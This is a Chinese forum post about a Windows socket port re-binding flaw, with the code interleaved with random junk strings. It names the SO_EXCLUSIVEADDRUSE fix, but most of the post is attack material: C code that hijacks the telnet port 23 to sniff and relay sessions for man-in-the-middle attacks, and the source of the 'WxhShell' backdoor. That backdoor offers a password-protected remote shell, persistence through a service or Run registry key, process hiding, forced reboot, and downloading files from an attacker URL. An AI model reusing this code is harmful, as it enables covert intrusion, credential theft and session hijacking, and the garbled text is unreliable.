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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3( Y#*f|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z2Pnni7Ys  
zSpL^:~  
  saddr.sin_family = AF_INET; MS Ml  
?\ qfuA9.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); M:!Twz$  
@dy<=bh~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); TTJFF\$?  
,}("es\b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7lo`)3mB  
(&=<UGY(w  
  这意味着什么?意味着可以进行如下的攻击: yEaim~  
E!~Ok  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "1<>c/h  
<`B4+:;w6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =`8%qh  
U_-9rkUa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 YPjjSi:#  
C&&*6E5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "kE$2Kg  
3Ishe"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 HG1)q\Xd  
DE{tpN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sd@JQ%O  
^`W8>czi  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5$v,%~$Xds  
bJ[{[|yEd  
  #include "Y9PS_u(~  
  #include D[m+= -  
  #include r[>=iim  
  #include    B=>:w%<Ii  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *u2pk>y)  
  int main() (XQBBt  
  { [hLSK-K 9  
  WORD wVersionRequested; BCw5.@HK*  
  DWORD ret; x1gfo!BN  
  WSADATA wsaData; -QUr|:SK:  
  BOOL val; 9q?\F  
  SOCKADDR_IN saddr; FmRCTH  
  SOCKADDR_IN scaddr; 8{m5P8w'  
  int err; FC'v= *  
  SOCKET s; 7*!h:rg  
  SOCKET sc; _I("k:E7  
  int caddsize; H nKO  
  HANDLE mt; 7e{w)m:A  
  DWORD tid;   G_fP%ovh  
  wVersionRequested = MAKEWORD( 2, 2 ); 'T(7EL3$}  
  err = WSAStartup( wVersionRequested, &wsaData ); u?OyvvpH  
  if ( err != 0 ) { 5h"moh9tG  
  printf("error!WSAStartup failed!\n"); I:6N?lD4}0  
  return -1; *, /ADtL  
  } ])d_B\)Kck  
  saddr.sin_family = AF_INET; w]4=uL6  
   6`KAl rH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ZT UaF4k j  
j@JhxCe1+R  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =%p%+F@RlW  
  saddr.sin_port = htons(23); a3&&7n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eR'Df" +  
  { "bO\Wt#Mf  
  printf("error!socket failed!\n"); s 0}OsHAj  
  return -1; d)'am 3Q  
  } 0P(U^rkR~  
  val = TRUE; P'.M.I@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0K\Xxo.=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N5 BC<pu  
  { <A"T_Rk  
  printf("error!setsockopt failed!\n"); '=|2, H]  
  return -1; 1_D|;/aI  
  } jv:!vi:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; BPp`r_m8w}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q Ee1OB  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;Z\1PwT  
rJ LlDKP-(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C2WWS(zn  
  { JArSJ:}  
  ret=GetLastError(); 8 |>$M  
  printf("error!bind failed!\n"); _j$"fg  
  return -1; (=v :@\r  
  } j2V"w&>b}  
  listen(s,2); gy|L!_1Z8  
  while(1) Eei"baw/  
  { .ZuRH_pI  
  caddsize = sizeof(scaddr); 9(;5!q,Gsg  
  //接受连接请求 & PHejG_#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3F5Y#[L`  
  if(sc!=INVALID_SOCKET) RlRkw+%m  
  { 8dg \_H_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !.(Kpcrg  
  if(mt==NULL) V3%"z  
  { 3 ;M7^DM  
  printf("Thread Creat Failed!\n"); <eU1E }BDQ  
  break; \Tf$i(0q  
  } t' )47k\  
  } i$~2pr  
  CloseHandle(mt); ^Eu]i  
  } 9"KO!w  
  closesocket(s); hf6=`M}>i  
  WSACleanup(); \8Mn[G9TL  
  return 0; @Q!Jzw#B  
  }   bSOxM /N  
  DWORD WINAPI ClientThread(LPVOID lpParam) gbb2!q6p  
  { 8(yZX4OH>  
  SOCKET ss = (SOCKET)lpParam; _lWC)bv`  
  SOCKET sc; z >EOQe  
  unsigned char buf[4096]; tDWW 4H  
  SOCKADDR_IN saddr; kq;1Ax0 {  
  long num; P}So>P~2  
  DWORD val; ~r/"w'dB  
  DWORD ret; 3AKT>Wy =  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'r&az BO  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \!!qzrq  
  saddr.sin_family = AF_INET; (IlHg^"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'q158x  
  saddr.sin_port = htons(23); Q5[x2 s_d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bve_*7CEM  
  { OT1  
  printf("error!socket failed!\n"); "4Joou"U  
  return -1; #[|~m;K(w  
  } 4@2<dw|*h  
  val = 100; bsfYz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G.2\Sw  
  { pbfIO47ZC  
  ret = GetLastError(); C5}c?=#bdf  
  return -1; d:Y!!LV-@L  
  } T1$fu(f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b3/@$x<  
  { #'poDX?  
  ret = GetLastError(); 4Zz%vY  
  return -1; /_WA F90R?  
  } `SFA`B)[5@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) eAU0 8gM.  
  { 2TFb!?/RQ  
  printf("error!socket connect failed!\n"); w=NM==cLj  
  closesocket(sc); (`W_ -PI  
  closesocket(ss); 7a$K@iWU  
  return -1; jL9g.q4^  
  } o#"U8N%r  
  while(1) KCBA`N8  
  { ;rggO0Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s$%t*T2J>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ro}7ERA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uDtml$9rN  
  num = recv(ss,buf,4096,0); Sb2hM~  
  if(num>0) /+V}.  
  send(sc,buf,num,0); X;e=d+pw  
  else if(num==0) 7+N0$0w%r  
  break; NO)Hi)$X6Y  
  num = recv(sc,buf,4096,0); *5|;eN  
  if(num>0) /9SEW!E  
  send(ss,buf,num,0); CP]nk0  
  else if(num==0) {GH0> 1&  
  break; ^}w@&Bje  
  } u%t/W0xi  
  closesocket(ss); F"-u8in`  
  closesocket(sc); Abw=x4d(i  
  return 0 ; n-"(lWcp  
  } 3_DwqZ 'O  
?\Bm>p% +  
RJ\'"XQ  
========================================================== V=i/cI\  
ugu|?z*dI  
下边附上一个代码,,WXhSHELL Io;x~i09K  
+YJpVxYmZ  
========================================================== yG' 5:  
WMw|lV r  
#include "stdafx.h" .4[\%r\i  
#\zC|%2+z  
#include <stdio.h> nF5\iV  
#include <string.h> gAudL)X  
#include <windows.h> l cX'n8/3  
#include <winsock2.h> We`6# \Z X  
#include <winsvc.h> 7DZZdH$Fm  
#include <urlmon.h> g1H$wU3eu  
v:IpZ;^  
#pragma comment (lib, "Ws2_32.lib") c{"qrwLA  
#pragma comment (lib, "urlmon.lib") yC:C  
@$7'{*  
#define MAX_USER   100 // 最大客户端连接数 !'z"V_x~  
#define BUF_SOCK   200 // sock buffer Ajm  
#define KEY_BUFF   255 // 输入 buffer TpGnSD  
1F' x$~ZI  
#define REBOOT     0   // 重启 8C=8Wjm  
#define SHUTDOWN   1   // 关机 gq7l>vT.  
HhZ>/5'(  
#define DEF_PORT   5000 // 监听端口 FyhLMW3  
4[lym,8C  
#define REG_LEN     16   // 注册表键长度 Xk(p:^ R  
#define SVC_LEN     80   // NT服务名长度 Z#t}yC%^d  
0woLB#v9  
// 从dll定义API uj~(r=%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]<BT+6L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8b[<:{[YB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); grxlGS~Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `'E(L&  
3Viz0I<%  
// wxhshell配置信息 rqWD#FB=z  
struct WSCFG { &?H`MCv t  
  int ws_port;         // 监听端口 ts/Ha*h  
  char ws_passstr[REG_LEN]; // 口令 [gIvB<Uv  
  int ws_autoins;       // 安装标记, 1=yes 0=no <{cf'"O7)  
  char ws_regname[REG_LEN]; // 注册表键名 _[pbf ua  
  char ws_svcname[REG_LEN]; // 服务名 ZA7b;{o [  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5h l!zA?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #|QA_5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j a'_syn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =/ +f3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8dLK5"_3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `D?  &)Y  
Ou]!@s  
}; Tl L,dPM  
f;%=S:3  
// default Wxhshell configuration A~ @x8  
struct WSCFG wscfg={DEF_PORT, P]0/S  
    "xuhuanlingzhe", f+%s.[;A  
    1, Pyp#'du>  
    "Wxhshell", 6(/*E=bOKV  
    "Wxhshell", Sg< B+u\\  
            "WxhShell Service", QT4&Ix,4T1  
    "Wrsky Windows CmdShell Service", he|.Ow  
    "Please Input Your Password: ", 2f5YkmGc";  
  1, tfdb9# &?  
  "http://www.wrsky.com/wxhshell.exe", Z_4|L+i<{  
  "Wxhshell.exe" &3|l4R\  
    }; 8'Iei78Ov  
eWr2UXv$  
// 消息定义模块 +W"DN5UV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "..I$R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M Al4g+es  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =C- b#4Q  
char *msg_ws_ext="\n\rExit."; fwi -   
char *msg_ws_end="\n\rQuit."; 0*,] `A=  
char *msg_ws_boot="\n\rReboot..."; $"g'C8  
char *msg_ws_poff="\n\rShutdown..."; M7=|N:/_  
char *msg_ws_down="\n\rSave to "; o|APsQE  
7.tIf <^$P  
char *msg_ws_err="\n\rErr!"; ~Kt2g\BSok  
char *msg_ws_ok="\n\rOK!"; 9vBW CCf  
H`4KhdqR  
char ExeFile[MAX_PATH]; riQ0'-p  
int nUser = 0; {$I1(DYN  
HANDLE handles[MAX_USER]; L=gG23U&  
int OsIsNt; @CS%=tE}U  
\.]C`ocD  
SERVICE_STATUS       serviceStatus; V6&6I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J; N\q  
%?BygG  
// 函数声明 |#sY(1  
int Install(void); U^kk0OT^  
int Uninstall(void); w&*oWI$i  
int DownloadFile(char *sURL, SOCKET wsh); eMtQa;Lc9o  
int Boot(int flag); #i=m%>zjN  
void HideProc(void); i)(-Ad_  
int GetOsVer(void); 47)\\n_\z  
int Wxhshell(SOCKET wsl); +o]J0Gu  
void TalkWithClient(void *cs); (gUVZeVFP  
int CmdShell(SOCKET sock); r` sG!  
int StartFromService(void); $ve*j=p  
int StartWxhshell(LPSTR lpCmdLine); @+sYwlA~  
Fr#QM0--B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0 *]ZC'pm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Pk&$ #J_  
ri49r*_1  
// 数据结构和表定义 yJdkDVxYr  
SERVICE_TABLE_ENTRY DispatchTable[] = sY* qf=  
{ Hq|{Nt%Q  
{wscfg.ws_svcname, NTServiceMain}, 4MoxP  
{NULL, NULL} e 3TKg  
}; ^*F'[!. p  
_sQhDi  
// 自我安装 s14 ot80)  
int Install(void) _$yS4=.  
{ X$=/H 6R5Z  
  char svExeFile[MAX_PATH]; Ej<`HbJ 'Q  
  HKEY key; 9O\yIL  
  strcpy(svExeFile,ExeFile); S_;m+Ytg  
F#z1 sl'  
// 如果是win9x系统,修改注册表设为自启动 \"P$*y4Le  
if(!OsIsNt) { >vDi,qmZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { } a!HbH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]'<"qY  
  RegCloseKey(key); vofBS   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b@B\2BT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |AS9^w  
  RegCloseKey(key); /5~j"| U'  
  return 0; G1:"Gxja  
    } ZeH=]G4Zv7  
  } ^2nH6,LPS  
} %-an\.a.  
else { q*}$1 zb  
"5"{~3Gw^  
// 如果是NT以上系统,安装为系统服务 HBZtg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5>-~!Mg1  
if (schSCManager!=0) ",]A.,  
{ j|VX6U   
  SC_HANDLE schService = CreateService tdNAR|  
  ( Vg7BK%  
  schSCManager, {*X|)nr  
  wscfg.ws_svcname, < fYcON  
  wscfg.ws_svcdisp, fz rH}^  
  SERVICE_ALL_ACCESS, :MGIp%3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =/ 19 -Y:  
  SERVICE_AUTO_START, }ok'd=M  
  SERVICE_ERROR_NORMAL, [jTZxH<  
  svExeFile, )Mh5q&ow  
  NULL, {"_V,HmEF+  
  NULL, ]:Pkh./  
  NULL, 7TA&u'  
  NULL, [pSQ8zdF"  
  NULL w +HKvOs5c  
  ); *s?C\)x  
  if (schService!=0) yS4nB04`=  
  { `m\ ?gsw7  
  CloseServiceHandle(schService); R.rE+gxO1  
  CloseServiceHandle(schSCManager);  @4>?Y=#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iThf\  
  strcat(svExeFile,wscfg.ws_svcname); pz]KUQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k>#-NPU$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u+ 8wBb5!  
  RegCloseKey(key); Lt {&v ^y  
  return 0; uf`/-jY  
    } JQSczE3  
  } :!fU+2$`^(  
  CloseServiceHandle(schSCManager); VVc-Dx  
} rji<g>GQ  
} o:@A%*jg  
DS7Pioa86  
return 1; 2lxA/.f  
} [k=LX+w@  
c  
// 自我卸载 UbP$WIrq  
int Uninstall(void) :~~\{fm  
{ Sv[+~co<l  
  HKEY key; C`\yc_b9Pf  
M2M&L,/O  
if(!OsIsNt) { /?S,u,R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "gt*k#  
  RegDeleteValue(key,wscfg.ws_regname); c/,B?  
  RegCloseKey(key); 1+Bj` ACP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YGZa##i  
  RegDeleteValue(key,wscfg.ws_regname); !uhh_3RH  
  RegCloseKey(key); +`TwBN,kp-  
  return 0; p9eTrFDy?  
  } nu6v@<<F>  
} [-1Yyy1}  
} /re0"!0y  
else { Jg@eGs\*  
ORt)sn&~d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U-#vssJhk  
if (schSCManager!=0) 8CRwHDB  
{ F ZfhiIf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -9(nsaV  
  if (schService!=0) `12Y2W 9  
  { (o!i9)  
  if(DeleteService(schService)!=0) { K# h7{RE  
  CloseServiceHandle(schService); 9iGp0_J  
  CloseServiceHandle(schSCManager); )>!y7/3  
  return 0; B &)wJG  
  } r?WOum  
  CloseServiceHandle(schService); 8VMD304  
  } "O%xQ N  
  CloseServiceHandle(schSCManager); #G("Oh  
} jC'Diu4|Q  
} n;r W  
!D 9V9p  
return 1; #|6M*;lN|  
} ?DC;Hk<  
|@dY[VK>  
// 从指定url下载文件 IR"=8w#MP  
int DownloadFile(char *sURL, SOCKET wsh) _@sSVh$+  
{ @*JS[w$1  
  HRESULT hr; oTf^-29d  
char seps[]= "/"; ,>3|\4/Q  
char *token; z?(QM:  
char *file; ?I 7hbqQd  
char myURL[MAX_PATH]; 86~q pN  
char myFILE[MAX_PATH]; bYy7Ul6]  
`^ uX`M/  
strcpy(myURL,sURL); 7G23D  
  token=strtok(myURL,seps); g;!,2,De}  
  while(token!=NULL) j6BFh=?D  
  { %>,Kd6bdg  
    file=token; k E-+#p  
  token=strtok(NULL,seps); ?^ `EI}g  
  } 3NgyF[c  
~ tqDh(  
GetCurrentDirectory(MAX_PATH,myFILE); e`Tssa+  
strcat(myFILE, "\\"); <_-8)abK  
strcat(myFILE, file); H)i%\7F5  
  send(wsh,myFILE,strlen(myFILE),0); ]D|Hq4ug  
send(wsh,"...",3,0); w(nQ:;oC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9C\@10D  
  if(hr==S_OK) 2-gI@8NPI  
return 0; *@[+C~U  
else d ]Mjr2h  
return 1; IJofbuzw:  
Z_[jah  
} s%t =*+L\  
b "5WsJ:'#  
// 系统电源模块 4AuJ1Z  
int Boot(int flag) aKC3v R0  
{ U,GY']J  
  HANDLE hToken; `r.  
  TOKEN_PRIVILEGES tkp; pc/]t^]p  
ftbOvG/ I  
  if(OsIsNt) { -LEpT$v|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I07_o"3>qr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^0T[V-PgiD  
    tkp.PrivilegeCount = 1; Y,s@FGI2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !gFUC<4bu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C\; $RH  
if(flag==REBOOT) { i{6wns?KMj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cY[qX/0~  
  return 0; R%^AW2   
} $#d.@JWi  
else { P};GcV-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dE|luN~  
  return 0; ^ l9NF  
} wT-@v,$  
  } QLe<).S1B2  
  else { :]^FTnO  
if(flag==REBOOT) { 8S7 YVsDz"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ouR(l;  
  return 0; gPg2Ve0Qy  
} nW `EBs  
else { # dxS QmG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) txXt<]N  
  return 0; ]*JH~.p  
} 6`;+|H<$  
} HVK./y qy  
:_"%o=  
return 1; K44j-Ypb  
} 9!|+GIjn  
@m Id{w z  
// win9x进程隐藏模块 7c.LyvM  
void HideProc(void) UIi`bbJ  
{ YR}By;Bq  
(w{C*iB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c-hhA%@Wq  
  if ( hKernel != NULL ) qI#ow_lL#  
  { uV+.(sjH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %t<ba[9F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UV8K$n<  
    FreeLibrary(hKernel); ZMI vzQYI  
  } N"rZK/@}  
[p[C45d=<  
return; Qv>rww]  
} IYk^eG:;  
K5SP8<.  
// 获取操作系统版本 ?^H1X-;  
int GetOsVer(void) F(#~.i  
{ CxRh MhvP  
  OSVERSIONINFO winfo; J}J7A5P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W^AY:#eX~Q  
  GetVersionEx(&winfo); lc2RMu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XT0:$0F  
  return 1; &i%1\ o  
  else cPm-)/E)i  
  return 0; bD;c>5t  
} %:WM]dc  
JDy;Jb  
// 客户端句柄模块 #J<IHNRt  
int Wxhshell(SOCKET wsl) eq#x~O4  
{ # \)tz z  
  SOCKET wsh; bxA1fA;  
  struct sockaddr_in client; 'fkaeFzOl  
  DWORD myID; 81<0B @E  
1_z6O!rx  
  while(nUser<MAX_USER) I{0bs Tp;  
{ bR;Zc  
  int nSize=sizeof(client); GxR, 3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r06M.r   
  if(wsh==INVALID_SOCKET) return 1; 3!V$fl0  
9?_ybO~Oq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QP?Deltp  
if(handles[nUser]==0) :&oUI&(o  
  closesocket(wsh); U.B=%S  
else \"u3 x.!  
  nUser++; ^sjL@.'m$N  
  } g}]EIv{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X) TUKt  
>`@yh-'r  
  return 0; 4JD 8w3u/  
} KtFxG6a  
BOQeP/>  
// 关闭 socket qJ|n73yn  
void CloseIt(SOCKET wsh) Fc"&lk4e  
{ ", :Ta|  
closesocket(wsh); oe5.tkc  
nUser--; Sp]i~#q_'  
ExitThread(0); 9A4h?/  
} /@H2m\vBX  
r_kw "9  
// 客户端请求句柄 [?$|   
void TalkWithClient(void *cs) 5w#*JK   
{ PZdYkbj  
2z\4?HJy  
  SOCKET wsh=(SOCKET)cs; $pT%7jV}  
  char pwd[SVC_LEN]; ZQ^kS9N i  
  char cmd[KEY_BUFF]; ?]=fC{Rh  
char chr[1]; Rro{A+[,X  
int i,j; Jb~-)n2  
!vQ!_|g1  
  while (nUser < MAX_USER) { 1@ j>2>i  
G=8w9-Ww  
if(wscfg.ws_passstr) { aqb;H 'F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J9LS6~ 7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I@=h|GM  
  //ZeroMemory(pwd,KEY_BUFF); X'&$wQ6,K  
      i=0; :8_`T$8i4  
  while(i<SVC_LEN) { )r2$/QF9  
9rb/hkX&  
  // 设置超时 fxDY:l  
  fd_set FdRead; hG,gY;&[6  
  struct timeval TimeOut; 2.2Z'$W  
  FD_ZERO(&FdRead); P#H#@:/3  
  FD_SET(wsh,&FdRead); fJ Ch  
  TimeOut.tv_sec=8; G5Ci"0  
  TimeOut.tv_usec=0; k"SmbFn%N0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wYf=(w \c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z#!xqIg0  
DJE/u qE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9xg_M=72  
  pwd=chr[0]; `~(C\+gUp  
  if(chr[0]==0xd || chr[0]==0xa) { f*~ 4Kv  
  pwd=0; Yi[dS`,d  
  break; ucj)t7O   
  } $/C<^}A  
  i++; AEwb'  
    } HHZ!mYr  
bq4H4?j  
  // 如果是非法用户,关闭 socket $EJ*x$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F!>K8q  
} 4Uf+t?U9  
](0 Vm_es  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >B~jPU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^@L[0Z`  
BHmA*3?  
while(1) { 8{+~3@T  
)C2d)(baEJ  
  ZeroMemory(cmd,KEY_BUFF); ^qbX9.\  
}WGi9\9T&  
      // 自动支持客户端 telnet标准   nu0bJ:0aLd  
  j=0; CHpDzG>]4  
  while(j<KEY_BUFF) { zF i+6I$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z%/ww7H  
  cmd[j]=chr[0]; Ux icqkX  
  if(chr[0]==0xa || chr[0]==0xd) { #>'1oC{  
  cmd[j]=0; !P Gow  
  break; 0acY@_  
  } \wRr6-!_  
  j++; o m_&|9B)  
    } K[sM)_I  
el|t6ZT*  
  // 下载文件 cn\& ;55v  
  if(strstr(cmd,"http://")) { jZ D\u%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `4EOy:a  
  if(DownloadFile(cmd,wsh)) qk,cp},2K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ok`U*j  
  else j [U0,]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #6H<JB  
  } ?ha}&##  
  else { ESrWRO f9  
O[L8(+Sn  
    switch(cmd[0]) { >Au<y,Tw  
  ewY[vbF  
  // 帮助 pWx3l5)R  
  case '?': { Fo G<$9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %xZ.+Ff%  
    break; yX~[yH+Pn  
  } Mc}x]j`f  
  // 安装 D1Sl+NOV  
  case 'i': { :9h8q"T  
    if(Install()) ,?d%&3z<a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 I+5  
    else )[K3p{4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VDPN1+1*  
    break; 7}x-({bqy  
    } UA8!?r-cR  
  // 卸载 _N:h&uw  
  case 'r': {  XGoy#h  
    if(Uninstall()) |K_B{v.   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i@J,u  
    else j&Aq^aI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W^N"y &  
    break; YiCDV(prT  
    } -0X> y  
  // 显示 wxhshell 所在路径 ~ 9;GD4  
  case 'p': { |:#mw 1  
    char svExeFile[MAX_PATH]; +n,BD C;  
    strcpy(svExeFile,"\n\r"); /)I9+s#q9o  
      strcat(svExeFile,ExeFile); 84[^#ke  
        send(wsh,svExeFile,strlen(svExeFile),0); =e;wEf%`  
    break; ~/U0S.C  
    } #~x5}8  
  // 重启 VL{#.;QQa  
  case 'b': { W*<]`U_.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eFio,  
    if(Boot(REBOOT)) 1pb;A;F,A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g,:N zb  
    else { `g1Oon_  
    closesocket(wsh); Du>HF;Fv  
    ExitThread(0); K8J2eV\  
    } [j? <9  
    break; QP B"E W  
    } c Vn+~m_%  
  // 关机 [!&k?.*;<  
